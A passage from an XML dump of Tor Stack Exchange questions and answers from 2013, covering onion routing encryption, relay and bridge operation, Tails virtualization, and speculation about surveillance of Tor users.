the amount of incoming/outgoing traffic different on a non-exit relay?" Tags="|relays|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="471" PostTypeId="2" ParentId="469" CreationDate="2013-10-10T20:41:34.720" Score="2" Body="&lt;p&gt;The routing used in the Tor network is called onion routing because the mechanism for maintaining anonymity in it is based on multiple layers of encryption which resemble layers of an onion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside the Tor client it is hard-coded that the traffic will pass through three relays: entry node, middle node and exit node. There are multiple layers of encryption because the relays are allowed to know only the preceding node, and the following node so that the anonymity from end to end is maintained.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;How is the communication routed?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Simplified description:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The Tor client selects the routing path consisting of three relays, and encrypts each packet with three nested layers of encryption (one layer for each of the three relays).&lt;/li&gt;&#xA;&lt;li&gt;The client sends the three times encrypted packet to the entry node which removes the first layer.&lt;/li&gt;&#xA;&lt;li&gt;The twice encrypted packet continues to the next node which removes the second layer.&lt;/li&gt;&#xA;&lt;li&gt;Then the packet with the last layer of encryption continues to the exit node which removes the last layer of encryption. Inside of the packet the exit node checks a field indicating that it was the last layer and the clear-text content should be sent to the Internet.&lt;/li&gt;&#xA;&lt;li&gt;If the destination conforms the exit policy of the relay the clear-text packet leaves the exit node and is normally delivered in the Internet.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Briefly said: The Tor client decides which node will be the exit relay. The exit relay recognizes its role for a packet after decrypting the last layer of encryption. It checks ID of the Tor stream and a field which indicates that the last layer of encryption was removed. The exit relay must be configured as an exit relay by its policy.&lt;/p&gt;&#xA;" OwnerUserId="114" LastEditorUserId="149" LastEditDate="2013-10-12T21:56:39.113" LastActivityDate="2013-10-12T21:56:39.113" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="472" PostTypeId="2" ParentId="420" CreationDate="2013-10-10T21:53:52.633" Score="5" Body="&lt;p&gt;I think those slides aren't about distinguishing tor users from non-tor users, they're about detecting Tor Browser Bundle users... so that they can serve the versions of their Firefox exploits that are tailored for that specific build of Firefox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lots of people probably don't heed Tor Project's advice and use other browsers with tor, and maybe serving the wrong firefox exploit to someone might just crash their browser but not pwn them. Presumably they also have non-TBB FF exploits, and chrome exploits, etc... though they probably wouldn't risk exposing them by using them widely, they could easily target them at specific logged-in website users to deanonymize them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also likely that some people are using TBB via other proxies or unlisted Tor exits, and of course the spooky goons want to be able to pwn them too.&lt;/p&gt;&#xA;" OwnerUserId="346" LastEditorUserId="346" LastEditDate="2013-10-10T22:05:56.313" LastActivityDate="2013-10-10T22:05:56.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="473" PostTypeId="1" CreationDate="2013-10-11T03:38:54.090" Score="2" ViewCount="4377" Body="&lt;p&gt;How to virtual box tails in a tails environment?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm Noob, need the step by step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see there's several ideas but no step by step guide for the current/future distros.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please walk me through how to get some virtual tails to run in tails, with normal gui and all.&lt;/p&gt;&#xA;" OwnerUserId="347" LastEditorUserId="83" LastEditDate="2013-10-11T12:24:29.727" LastActivityDate="2014-07-02T01:40:46.213" Title="How to virtual box tails in a tails environment?" Tags="|torvm|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="474" PostTypeId="2" ParentId="462" CreationDate="2013-10-11T06:28:43.480" Score="1" Body="&lt;p&gt;The easiest way is to shut down the current instance and start a new one with the other image.  Amazon charges by the hour, so you don't waste any money by doing so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, if you feel adventurous, it might be possible to turn your private bridge into a public one.  I assume that the only difference is that your private bridge has an entry &lt;code&gt;PublishServerDescriptor 0&lt;/code&gt; in its &lt;code&gt;torrc&lt;/code&gt; file that you could change to &lt;code&gt;PublishServerDescriptor bridge&lt;/code&gt;.  But it could be that there are more differences, or that there will be more differences in the future.  In general, people running cloud bridges want them to be zero configuration.  After all, if they wanted to edit configuration files, they could as well start with a fresh image and install and configure &lt;code&gt;tor&lt;/code&gt; themselves.  Of course, feel free to try it, and if you mess up, just delete the thing and start a new one.  Enjoy!&lt;/p&gt;&#xA;" OwnerUserId="119" LastActivityDate="2013-10-11T06:28:43.480" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="475" PostTypeId="2" ParentId="470" CreationDate="2013-10-11T06:45:29.597" Score="7" Body="&lt;p&gt;Did you open the &lt;code&gt;DirPort&lt;/code&gt; on your relay?  That would make your relay a directory mirror which answers directory requests of clients.  A directory request is typically quite small (&quot;please give me the current consensus&quot;), but the response can be quite big (&quot;here is the list of the 4400 currently running relays&quot;).  That would explain the difference between sent and received bytes.&lt;/p&gt;&#xA;" OwnerUserId="119" LastActivityDate="2013-10-11T06:45:29.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="476" PostTypeId="1" CreationDate="2013-10-11T07:25:46.273" Score="5" ViewCount="128" Body="&lt;p&gt;Often when websites want to protect themselves against Denial-of-Service attacks, they will limit the number of requests one IP address can make in a given span of time. Sometimes this practice adversely affects Tor users because the high volume of traffic coming from one exit node may look kind of like a DoS attack. Human visitors to this site who use Tor will then get a message telling them that they are not humans at all but vicious attack robots. This is bad for Tor because Tor users doing nothing wrong can't go to sites they like. This is bad for websites too because those websites lose visitors (and clicks). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way for websites to protect against DoS attacks in a Tor friendly way? Is there any way for Tor traffic to be less DoS-y?&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="58" LastEditDate="2013-10-17T15:45:23.240" LastActivityDate="2013-10-17T15:45:23.240" Title="How to protect against DoS but not harm Tor users" Tags="|outreach|dos|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="477" PostTypeId="2" ParentId="469" CreationDate="2013-10-11T07:48:36.240" Score="2" Body="&lt;p&gt;Here's a somewhat simplified description: When a relay receives an incoming packet, it first decrypts the outmost encryption layer of that packet to see what it's supposed to do with the packet.  It finds a command, which can be, among other things, a) &quot;send this still-encrypted packet along the circuit to the next relay&quot; or b) &quot;send this possibly-plain-text request to the following server&quot;.  In case a the relay checks that the stated circuit exists and relays the packet.  In case b the relay checks whether its own exit policy permits exiting to the server and then sends the request out to the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to know all the details of the tor protocol, you might like the specification document: &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/HEAD:/tor-spec.txt&quot; rel=&quot;nofollow&quot;&gt;https://gitweb.torproject.org/torspec.git/blob/HEAD:/tor-spec.txt&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="119" LastActivityDate="2013-10-11T07:48:36.240" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="478" PostTypeId="2" ParentId="124" CreationDate="2013-10-11T14:47:58.877" Score="4" Body="&lt;p&gt;In addition to Sam's answer I thought I'd share my experience with starting up a new high bandwidth relay:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is true that your relay starts slowly. You can read about the background here: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&quot; rel=&quot;nofollow&quot;&gt;The lifecycle of a new relay&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Remember how I said the bwauths adjust your consensus weight based on how you compare to similarly-sized relays? At the beginning of this phase your relay hasn't seen much traffic, so your peers are the other relays who haven't seen (or can't handle) much traffic. Over time though, a few clients will build circuits through your relay and push some traffic, and the passive bandwidth measurement will provide a new larger estimate. Now the bwauths will compare you to your new (faster) peers, giving you a larger consensus weight, thus driving more clients to use you, in turn raising your bandwidth estimate, and so on.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There is a process however to speed up this process. If you have another machine with large downstream available e.g. your dialup you can install the tor client and configure your own relay as Entry Node in &lt;code&gt;torrc&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;EntryNodes &amp;lt;Your relay's fingerprint&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then just start a few large downloads and let them run for a few hours. This will allow your relay to peer with higher bandwidth nodes and quickly increase the amount of traffic flowing through your relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to ramp up to steady 200MBit/s saturation within 6 days after giving a &quot;jumpstart&quot; like described above for ~10 hours for the first two days of uptime.&lt;/p&gt;&#xA;" OwnerUserId="342" LastActivityDate="2013-10-11T14:47:58.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="479" PostTypeId="2" ParentId="473" CreationDate="2013-10-11T14:50:24.277" Score="3" Body="&lt;p&gt;I think you're asking how to run a VM of Tails inside Tails?  This is an odd request, and it might be better to explain what you're hoping to get out of that setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also read through the answers here: &lt;a href=&quot;https://tor.stackexchange.com/questions/330/running-a-vm-that-can-only-connect-through-tor&quot;&gt;Running a virtual machine (VM) that can only connect through Tor&lt;/a&gt; ; particularly looking at the discussion on Whonix (&lt;a href=&quot;https://www.whonix.org/wiki/Main_Page&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.whonix.org/wiki/Main_Page&lt;/a&gt;) in case that architecture better meets your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also be aware of the potential risks of running Tor on top of Tor: &lt;a href=&quot;https://tor.stackexchange.com/questions/427/is-running-tor-over-tor-dangerous&quot;&gt;Is running Tor over Tor dangerous?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2014-07-02T01:40:46.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="480" PostTypeId="2" ParentId="428" CreationDate="2013-10-11T15:08:41.833" Score="3" Body="&lt;p&gt;When ignoring the factors pointed out in alaf's comment, we are left with the actual protocol differences. The &lt;a href=&quot;https://gitweb.torproject.org/pluggable-transports/obfsproxy.git/blob/HEAD:/doc/obfs3/obfs3-protocol-spec.txt&quot; rel=&quot;nofollow&quot;&gt;obfs3 protocol&lt;/a&gt; has both fairly low &lt;strong&gt;computational&lt;/strong&gt; and &lt;strong&gt;communication&lt;/strong&gt; overhead. The computational overhead stems from the use of AES-CTR-128 which wraps Tor's already-encrypted network traffic. The communication overhead is caused by the variable-sized handshake which prepends the data transfer. The handshake consists of 192 bytes for the public key, on average 4097 bytes of padding and a 32-byte HMAC. That sums up to an average overhead of 4321 bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In practice, there is some additional computational overhead caused by the data stream going through obfsproxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In conclusion, the difference is probably not noticeable unless you are on a platform with highly constrained resources. Note that while obfs3 is fairly efficient, other pluggable transports provide better obfuscation at the cost of lower throughput.&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2013-10-11T15:08:41.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="481" PostTypeId="1" CreationDate="2013-10-11T18:02:06.753" Score="6" ViewCount="318" Body="&lt;p&gt;I installed a cloud bridge on Amazon EC2. Now I wanted to find it using Globe (&lt;a href=&quot;http://globe.rndm.de/&quot;&gt;http://globe.rndm.de/&lt;/a&gt;). But what name do I search for? I didn't choose one.&lt;/p&gt;&#xA;" OwnerUserId="328" LastActivityDate="2013-12-31T13:33:09.233" Title="How can find my Amazon EC2 Bridge with Globe" Tags="|bridge|ec2|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="482" PostTypeId="1" AcceptedAnswerId="483" CreationDate="2013-10-11T18:08:14.337" Score="4" ViewCount="169" Body="&lt;p&gt;I use Icedove/Thunderbird on Debian together with TorBirdy. And it works very well. Now I created a new keypair and uploaded it to a keyserver and asked myself if TorBirdy is taking care of this connection also. Does anyone know?&lt;/p&gt;&#xA;" OwnerUserId="328" LastEditorUserId="923" LastEditDate="2014-03-02T22:37:06.477" LastActivityDate="2014-03-02T22:37:06.477" Title="Is TorBirdy also securing requests by Thunderbird to PGP keyservers?" Tags="|onion-services|debian|torbirdy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="483" PostTypeId="2" ParentId="482" CreationDate="2013-10-11T19:02:35.000" Score="3" Body="&lt;p&gt;The keyserver TorBirdy is configured to use by default is a Tor Hidden Service, so yes. In the event you alter the default keyserver to a different one, the answer is also yes. Documentation for TorBirdy is here: &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/torbirdy&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/wiki/torbirdy&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2013-10-11T19:02:35.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="484" PostTypeId="2" ParentId="420" CreationDate="2013-10-11T19:36:00.437" Score="1" Body="&lt;p&gt;The NSA / GCHQ are in a position where they don't have to only look at requests arriving at their servers, or even requests arriving at compromised servers - they intercept traffic in bulk on the internet, not just at end points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From an intelligence agency perspective then, being able to identify Tor traffic whilst it's in transit (i.e. still going between hops in the Tor network) is useful, to allow enumeration of Tor users and potentially direct future surveillance efforts against them.&lt;/p&gt;&#xA;" OwnerUserId="349" LastActivityDate="2013-10-11T19:36:00.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="485" PostTypeId="2" ParentId="481" CreationDate="2013-10-11T19:54:38.710" Score="0" Body="&lt;p&gt;You can search on Globe by the IP Address of your bridge node. You should be able to find that information in the EC2 management console.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-10-11T19:54:38.710" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="486" PostTypeId="1" AcceptedAnswerId="592" CreationDate="2013-10-11T20:05:15.780" Score="4" ViewCount="265" Body="&lt;p&gt;I am transferring files over Tor and I am seeing the following message in my Tor log file.&#xA;Can someone explain what it means?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[warn] Query '[scrubbed]' didn't have valid rend desc in cache. Failing.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="137" LastEditorUserId="88" LastEditDate="2013-10-17T19:18:10.017" LastActivityDate="2013-10-17T19:24:00.923" Title="What does &quot;[warn] Query '[scrubbed]' didn't have valid rend desc in cache. Failing.&quot; mean?" Tags="|onion-services|support|log|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="487" PostTypeId="1" CreationDate="2013-10-12T02:11:17.703" Score="4" ViewCount="859" Body="&lt;p&gt;I'm writing a near-future sci-fi novel where general quantum computing has been developed and SSL has been replaced with a security protocol based on quantum key distribution (QKD). Tor would still be able to establish circuits based on QKD. What sort of attacks would be effective, given the speed of quantum computing? Could NSA perform statistical attacks fast enough to expose the whole network? Would there be a different class of attacks available to someone with fewer resources than the NSA?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is too off-topic or beyond your knowledge-base, where would be the appropriate place to ask this?&lt;/p&gt;&#xA;" OwnerUserId="351" LastActivityDate="2013-10-15T08:49:34.240" Title="Would Tor remain anonymous in a post-quantum future?" Tags="|attacks|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="488" PostTypeId="2" ParentId="473" CreationDate="2013-10-12T02:45:21.860" Score="0" Body="&lt;p&gt;I don't fully understand the question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As joncam said in answering, and pabouk alluded to in commenting, running Tor through Tor may be dangerous. And even if it's not dangerous, it doesn't work at all well, in my experience. I've also tried running Tor through a VPN, which in turn was tunneled through Tor, and Tor only connected at all after many attempts, and was totally useless even when it did.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it is an interesting idea to run Tails as a read-only VirtualBox VM in a read-only LiveCD environment. That way, no history is saved anywhere. Also, with the Tor process running in the host machine, it's protected from exploits on userland applications in the VM. And because the entire system is read-only, even successful exploits would be gone after reboot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One might use a stripped-down version of Tails as the host OS, with Tor but no Browser Bundle, and only VirtualBox plus enough packages to support it and a graphical environment. Tails would be the VM, with Tor disabled as in the Whonix workstation VM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, one might use a read-only LiveCD based on the Whonix gateway. One would add VirtualBox, a basic graphical environment (such as OpenBox) and the Whonix workstation VM (or a LiveCD made from it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One might also mix Tails and Whonix in such a LiveCD on LiveCD, with Tor on the host, and TBB on the VM. However, the total uncompressed disk size for any of these setups would be over 5 GB. While that would easily fit on a DVD, after archiving, you'd probably need at least 10 GB RAM to run it. You could get by with less RAM, but performance reading from DVD would be very sluggish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The major problem is that the host and VM both need graphical environments, given how VirtualBox works. To address that, one might start with CrunchBang as both host and VM OS, adding Tor and VirtualBox to the host and TBB to the VM. CrunchBang uses OpenBox, which is much lighter (both in disk space and RAM requirement) than the graphical environments used in Tails and Whonix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Total uncompressed disk size there could be under 3 GB, I believe, and so it would run with 6 GB RAM. That's still not small enough, even for good modern hardware. But it's close, I think, and there's potential to pare it down further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possibility, which I've successfully tested, is running with no graphical environment on the host, and accessing the workstation VM using remote desktop via ssh. But that obviously requires two machines.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-10-12T02:45:21.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="489" PostTypeId="2" ParentId="481" CreationDate="2013-10-12T04:44:14.767" Score="2" Body="&lt;p&gt;Globe, and similar sites, will only return results for Tor relays (that is, servers that are listed in publicly available consensus documents). Tor bridges are never included in these documents (if they were, they would be easier to block).&lt;/p&gt;&#xA;" OwnerUserId="198" LastActivityDate="2013-10-12T04:44:14.767" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="490" PostTypeId="2" ParentId="481" CreationDate="2013-10-12T10:01:20.820" Score="3" Body="&lt;p&gt;You can either search for bridges by nickname, or hashed fingerprint.  The nickname starts with &lt;code&gt;ec2bridge&lt;/code&gt;, and the hashed fingerprint is a 40-character hex string.  Here's a Globe query for all EC2 bridges &lt;a href=&quot;http://globe.rndm.de/#/search/query=ec2bridge&quot; rel=&quot;nofollow&quot;&gt;http://globe.rndm.de/#/search/query=ec2bridge&lt;/a&gt; that should include your bridge, too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I'm not sure what's the easiest way to find out either nickname or hashed fingerprint of your EC2 bridge.  You'll probably have to log into your EC2 instance and look up either information.  But I can't give you a howto for that right now.  (Maybe somebody else who's running an EC2 bridge can step in here?)&lt;/p&gt;&#xA;" OwnerUserId="119" LastActivityDate="2013-10-12T10:01:20.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="491" PostTypeId="1" AcceptedAnswerId="497" CreationDate="2013-10-12T14:01:40.360" Score="16" ViewCount="7193" Body="&lt;p&gt;With onion-routing a relay in a circuit only knows its predecessor and its successor, while a &quot;normal&quot; proxy is just one hop, so that it knows who connects to it and where it has to connect to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wouldn't it be sufficient enough, from the anonymity point-of-view, to have just two hops, guard and exit? The Guard knows where the request is coming from and the exit where it is going to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does Tor use three hops, instead of two?&lt;/p&gt;&#xA;" OwnerUserId="131" LastEditorUserId="923" LastEditDate="2014-03-02T22:37:20.447" LastActivityDate="2014-03-02T22:37:20.447" Title="Why does Tor use three hops, instead of two?" Tags="|relays|anonymity|onion-routing|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="492" PostTypeId="1" AcceptedAnswerId="1288" CreationDate="2013-10-12T14:56:12.830" Score="11" ViewCount="785" Body="&lt;p&gt;I have a new exit relay running on DSL. It's version 0.2.3.25 running on Windows. Most of the time, there's only a few connections, but every so often there's a lot more. They all appear and disappear in a short time. This is copied from the log.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Oct 10 21:32:18.000 [notice] Heartbeat: Tor's uptime is 2 days 6:00&#xA;  hours, with 8 circuits open. I've sent 1.23 GB and received 1.42 GB.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Oct 11 03:32:18.000 [notice] Heartbeat: Tor's uptime is 2 days 12:00&#xA;  hours, with 10 circuits open. I've sent 1.40 GB and received 1.58 GB.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Oct 11 09:32:18.000 [notice] Heartbeat: Tor's uptime is 2 days 18:00&#xA;  hours, with 9 circuits open. I've sent 1.55 GB and received 1.72 GB.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Oct 11 15:32:18.000 [notice] Heartbeat: Tor's uptime is 3 days 0:00&#xA;  hours, with &lt;strong&gt;728&lt;/strong&gt; circuits open. I've sent 1.70 GB and received 1.88 GB.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Oct 11 21:32:18.000 [notice] Heartbeat: Tor's uptime is 3 days 6:00&#xA;  hours, with &lt;strong&gt;849&lt;/strong&gt; circuits open. I've sent 1.78 GB and received 1.96 GB.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Oct 12 03:32:18.000 [notice] Heartbeat: Tor's uptime is 3 days 12:00&#xA;  hours, with 11 circuits open. I've sent 1.88 GB and received 2.07 GB.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Oct 12 09:32:18.000 [notice] Heartbeat: Tor's uptime is 3 days 18:00&#xA;  hours, with 29 circuits open. I've sent 2.06 GB and received 2.26 GB.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is this normal for a relay?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit, adding more recent log entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It did seem to disappear for a while, until last weekend. &#xA;From the log:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Apr 12 13:23:46.000 [notice] Heartbeat: Tor's uptime is 18:00 &#xA;  hours, with 16 circuits open. I've sent 440.84 MB and received 431.09 MB.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Apr 12 19:23:46.000 [notice] Heartbeat: Tor's uptime is 1 day 0:00 &#xA;  hours, with 8 circuits open. I've sent 495.17 MB and received 488.92 MB.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Apr 13 01:23:46.000 [notice] Heartbeat: Tor's uptime is 1 day 6:00 &#xA;  hours, with &lt;strong&gt;2312&lt;/strong&gt; circuits open. I've sent 546.78 MB and received 545.24 MB.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Apr 13 07:23:46.000 [notice] Heartbeat: Tor's uptime is 1 day 12:00 &#xA;  hours, with &lt;strong&gt;3221&lt;/strong&gt; circuits open. I've sent 605.06 MB and received 617.01 MB.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Those quantities are far above the MaxConnections value I set in the registry, which makes me ask how it's even possible. I shut Tor down and rebooted my system. Within 15 minutes of rebooting, I had over 1000 connections again. Each time, the connections were inbound. There was almost no outbound connections and nearly zero traffic. By Monday, everything was back to normal, a much lower number of inbound connections and a corresponding amount of outbound connections with traffic.&lt;/p&gt;&#xA;" OwnerUserId="355" LastEditorUserId="355" LastEditDate="2014-04-16T15:56:56.943" LastActivityDate="2014-04-16T15:56:56.943" Title="Why does the number of open circuits fluctuate that much in my heartbeat logs?, new d" Tags="|exit-relays|circuit|windows|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="493" PostTypeId="1" AcceptedAnswerId="494" CreationDate="2013-10-12T18:06:49.907" Score="4" ViewCount="632" Body="&lt;p&gt;This question is born out of two questions that I saw coming up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the connection between my computer and the Tor network encrypted?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does Tor encrypt my traffic before it sends it to the server? Does it even do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please explain, where encryption is used! E.g. the connection between the client and the guard, and what about the relays in-between?, and is the encryption maintained as it reaches the destination?&lt;/p&gt;&#xA;" OwnerUserId="131" LastEditorUserId="923" LastEditDate="2014-03-02T22:36:55.257" LastActivityDate="2014-03-02T22:36:55.257" Title="Where along the path is encryption used?" Tags="|relays|circuit|guard|encryption|client|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="494" PostTypeId="2" ParentId="493" CreationDate="2013-10-12T18:49:01.023" Score="3" Body="&lt;p&gt;Tor is the 2nd generation of &lt;a href=&quot;https://en.wikipedia.org/wiki/Onion_routing&quot; rel=&quot;nofollow&quot;&gt;onion routing&lt;/a&gt;. In onion routing, the message is encrypted multiple times with a different key for each layer of encryption. In Tor as long as Alice (the client) has established a circuit with 3 nodes, the entry node, the middle node and the exit node, that means that the original message to Bob(the destination) will be encrypted within three layers, one layer for each node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The original message, will be the message destined to Bob, for example an HTTP request. Alice encrypts the request with the key she has agreed with each node. First goes the exit node encryption layer, then middle, then the entry node. Notice that the order the original message is encrypted is the reverse of the order of the nodes in the circuit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alice sends this onion (message encrypted with 3 layers) to the entry node. The entry node decrypts the first layer of encryption and passes the remaining onion to the middle node. The middle node removes its layer of encryption and passes the onion to the exit node. Finally the exit node removes the last layer, reads the destination IP of the original message and forwards the request to Bob accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you may have already understood that all traffic between Alice and the exit node is encrypted (using different keys along the path). Beware that Tor is not responsible to encrypt or in any way manipulate the original message. If original message was plain-text HTTP request that it will be plain-text when the exit nodes will read it and will be plain-text from the exit node till Bob.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's the reason to always use SSL/TLS when using Tor. So as the original message is already encrypted before reaches Bob. That way only Bob, Alice's destination will be able to read the actual content of the message. So if Bob is a web service, Alice must use HTTPS, if it's an IMAP/POP use TLS encrypted connection etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may find this &lt;a href=&quot;https://www.eff.org/pages/tor-and-https&quot; rel=&quot;nofollow&quot;&gt;interactive visualization&lt;/a&gt; by EFF pretty instructive.&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="131" LastEditDate="2013-10-13T09:13:33.857" LastActivityDate="2013-10-13T09:13:33.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="495" PostTypeId="1" CreationDate="2013-10-12T20:29:00.563" Score="1" ViewCount="167" Body="&lt;p&gt;I found this on StackOverflow and I found it interesting... If this is possible wouldn't this be so useful to the feds?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It asks can you get the server ip address from a mysql database for a login system,&#xA;&lt;a href=&quot;https://stackoverflow.com/q/19338858/2177766&quot;&gt;https://stackoverflow.com/q/19338858/2177766&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm saying that if a hidden service is running say WordPress for an example would it be possible to SQL Inject the MySQL Server into giving you the public IP Address. How badly could this affect your anonymity of your hidden service?&lt;/p&gt;&#xA;" OwnerUserId="345" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:21.987" LastActivityDate="2013-10-13T19:47:51.770" Title="Is this possible and if so would it be useful to cracking some hidden services?" Tags="|onion-services|security|" AnswerCount="1" CommentCount="5" ClosedDate="2013-10-13T18:12:38.617" ContentLicense="CC BY-SA 3.0" />
  <row Id="496" PostTypeId="1" CreationDate="2013-10-13T03:16:13.603" Score="4" ViewCount="1400" Body="&lt;p&gt;I run Tor on my MacBook Air, which has two interfaces: USB Ethernet Adapter and Wifi. I want to use my MacBook as transparent proxy so that it can share the Tor connection through Wifi for cell phones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I follow the instructions on &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy&quot; rel=&quot;nofollow&quot;&gt;TransparentProxy&lt;/a&gt;, but failed. For Linux systems it’s easy to make an anonymizing middlebox that I have pasted test with virtual machine. But for OS X, the Tor client didn’t implement transport and only supports NATDPort. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that NATDPort the same as Transport? It seems not because it does not work when I used the NATDPort instead of Transport. So is there any method to implement that?   &lt;/p&gt;&#xA;" OwnerUserId="356" LastEditorUserId="923" LastEditDate="2014-12-30T04:50:51.930" LastActivityDate="2015-03-11T06:52:09.610" Title="How to implement transparent proxy on OS X?" Tags="|mac|transparent-proxy|isolation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
